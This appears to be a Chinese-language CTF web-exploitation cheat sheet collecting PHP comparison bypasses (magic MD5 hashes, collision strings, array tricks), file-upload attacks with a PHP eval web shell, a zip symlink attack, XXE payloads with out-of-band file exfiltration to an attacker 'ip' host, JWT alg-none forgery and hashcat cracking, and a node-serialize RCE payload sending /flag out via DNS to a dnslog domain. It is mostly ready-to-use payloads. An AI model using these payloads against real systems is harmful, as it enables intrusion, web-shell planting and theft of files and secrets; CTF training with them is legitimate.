ctrl+shift+c 打开禁用f12的网页的devtools

注意

/index.php 重定向,打开网页都是访问index文件

用bp或者hackerbar发送过去即可

这里需要注意的细节是,用hackerbar发送时,要在结尾多添加一个 &,因为hackerbar会自动换行

用bp发送时,要把最后的空行删除,不能有多余的东西,或者在结尾多添加一个&

0要时刻注意/robots.txt www.zip 等

科学计数法和MD5值sha1值比较

弱比较

php 对0e+纯数字当作科学计数法而绕过
以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0


s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

0e215962017
0e291242476940776845150308577824

强比较

二进制md5加密 8e4ef6c69a337c0de0208455ee69a416

url编码 1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C‍4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0



二进制md5加密 8e4ef6c69a337c0de0208455ee69a416

url编码 1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0

对于sha1强碰撞基本不可能,但sha1函数传入为数组时会返回flase,两个flase会相等
[极客大挑战 2020]welcome

pyload:

roam1[]=1&roam2[]=2

使用fastcoll生成字符串MD5碰撞

数组绕过

md5() 函数中如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为 True 绕过

str1[]=1&str2[]=2

科学计数法比较大小

web中三位数最大的数不是999而是9e9

strcmp函数问题

函数问题见ctf-php-常用函数及其绕过

NULL、0、”0”、array()、字母、进制的比较

NULL0"0"array()在弱比较时相等、

字符串和数字比较

字符串以数字开头时,以开头数字(到字母出现截止)作为转换结果;开头不是数字的字符串或空null,则转换为0

'12'==12    //true
'12abc'==12 //true
'adm2n'==0  //true

进制格式的字符串

在弱比较下会将其转换为数字

超过精度的弱类型问题

浮点判断

超过精度的数字(小数点后超过17位)在进行弱口令比较时,会出现相等的情况

var_dump(1.000000000000000 == 1) >> TRUE
var_dump(1.0000000000000001 == 1) >> TRUE

浮点运算问题

<?php
$f =0.58;
var_dump(intval($f*100));
?>

output

int(57)

在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值

具体详细的原理可以看这位师傅的描述

上传漏洞

上传漏洞继承Web应用的权限(权限不会很高)

脚本文件要被访问后才有机会执行其中的恶意指令

.htaccess 上传漏洞

使jpg当做php解析

AddType application/x-httpd-php .jpg

可能会判断<?php>
来一个没有标志的一句话

GIF89a
<script language='php'>@eval($_POST["a"]);</script>

.user.ini 上传漏洞

.htaccess 只适用于apache

apache/nginx/iis都会用到


GIF89a
auto_prepend_file=tupianmaplus.png

auto_prepend_file是在php文件代码执行前用require包含进指定的文件
所以有个特点是上传目录里必有.php文件

windows重命名特点

1.php. .会自动重命名为1.php

在1.php后加::$DATA后文件会当作文件流处理,不会检测后缀

sql注入waf绕过

zip bomb

不要尝试解压,而是用winrar打开或者改成.rar

上传解压接口软链接覆盖问题(软链接攻击)

例题:hgame2024 week 3 ZeroLink

特点:上传一个zip压缩包,程序会进行解压,指定要读取的文件名,文件内容将被返回至网页(或者存在读取接口)。


//软链接
ln -s /app she

//压缩
zip --symlinks she.zip she

//建一个相同文件夹

mkdir she

//在文件里输入覆盖内容

vim she/secret

参数爆破

用arjun

给个例子

arjun -u http://node5.anna.nssctf.cn:28659/ -c 100 -d 5

-d 是发包间隔,秒为单位

XXE

文章

有回显XXE

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> ]> 
<creds>&goodies;</creds>

如果其中含有特殊字符,则需要CDATA拼接

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

evil.dtd


<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%goodies;%end;">

无回显xxe

test.dtd


<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:9999?p=%file;'>">

payload

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

各xml处理支持的协议

PHP随机数预测

使用php_mt_seed

php_mt_seed能识别的格式match_min matchmax 0 range_max

JWT伪造

https://gz.imxbt.cn/games/13/challenges

一种思路是可以用破解工具暴力破解

工具地址

还有一种方式是修改算法为none

签名算法保证了JWT在传输的过程中不被恶意用户修改,但是header中的alg字段可被修改为none,一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验,将alg修改为none后,去掉JWT中的signature数据(仅剩header + ‘.’ + payload + ‘.’)然后提交到服务端即可

本题中就是修改加密方式为none

JWT密码爆破

使用hashcat
eg:hashcat -m 16500 jwt.txt -a 0 rockyou.txt -w 3

cve node反序列化漏洞

反弹payload

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping `cat /flag`.73c8df70.log.dnslog.sbs.',function(error, stdout, stderr){console.log(stdout)});}()"}

一个好奇的人